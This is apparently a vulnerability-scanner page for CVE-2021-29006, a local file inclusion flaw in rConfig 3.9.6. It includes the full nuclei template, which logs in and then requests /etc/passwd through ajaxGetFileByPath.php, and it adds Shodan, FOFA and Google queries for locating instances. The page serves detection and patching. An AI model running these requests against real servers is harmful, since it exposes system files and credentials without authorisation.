rConfig 3.9.6 - Local File Inclusion

mediumseverity

6.5CVSS score

4.9%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

rConfig 3.9.6 is affected by a Local File Disclosure vulnerability. An authenticated user may successfully download any file on the server.

Impact

Authenticated attackers can read arbitrary files from the server including /etc/passwd, potentially exposing sensitive system information and credentials.

Fix

Upgrade to rConfig version 3.9.7 or later.

How to confirm it

Send: POST /lib/crud/userprocess.php ; GET /dashboard.php ; GET /lib/ajaxHandlers/ajaxGetFileByPath.php?path=/etc/passwd
Positive when: matches in body_3 /root:.*:0:0:/ AND contains in body_2 "rconfig" AND status 200

Run it with nuclei: nuclei -id CVE-2021-29006 -u <target>

The full check

id: CVE-2021-29006

info:
  name: rConfig 3.9.6 - Local File Inclusion
  author: r3Y3r53
  severity: medium
  description: |
    rConfig 3.9.6 is affected by a Local File Disclosure vulnerability. An authenticated user may successfully download any file on the server.
  impact: |
    Authenticated attackers can read arbitrary files from the server including /etc/passwd, potentially exposing sensitive system information and credentials.
  remediation: |
    Upgrade to rConfig version 3.9.7 or later.
  reference:
    - https://github.com/mrojz/rconfig-exploit/blob/main/CVE-2021-29006-POC.py
    - https://nvd.nist.gov/vuln/detail/CVE-2021-29006
    - http://rconfig.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-29006
    cwe-id: CWE-22
    epss-score: 0.04874
    epss-percentile: 0.92125
    cpe: cpe:2.3:a:rconfig:rconfig:3.9.6:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: rconfig
    product: rconfig
    shodan-query:
      - http.title:"rConfig"
      - http.title:"rconfig"
    fofa-query: title="rconfig"
    google-query: intitle:"rconfig"
  tags: cve2021,cve,rconfig,authenticated,lfi,vuln

http:
  - raw:
      - |
        POST /lib/crud/userprocess.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&pass={{password}}&sublogin=1
      - |
        GET /dashboard.php HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /lib/ajaxHandlers/ajaxGetFileByPath.php?path=/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body_3
        regex:
          - 'root:.*:0:0:'

      - type: word
        part: body_2
        words:
          - 'rconfig'

      - type: status
        part: header_3
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from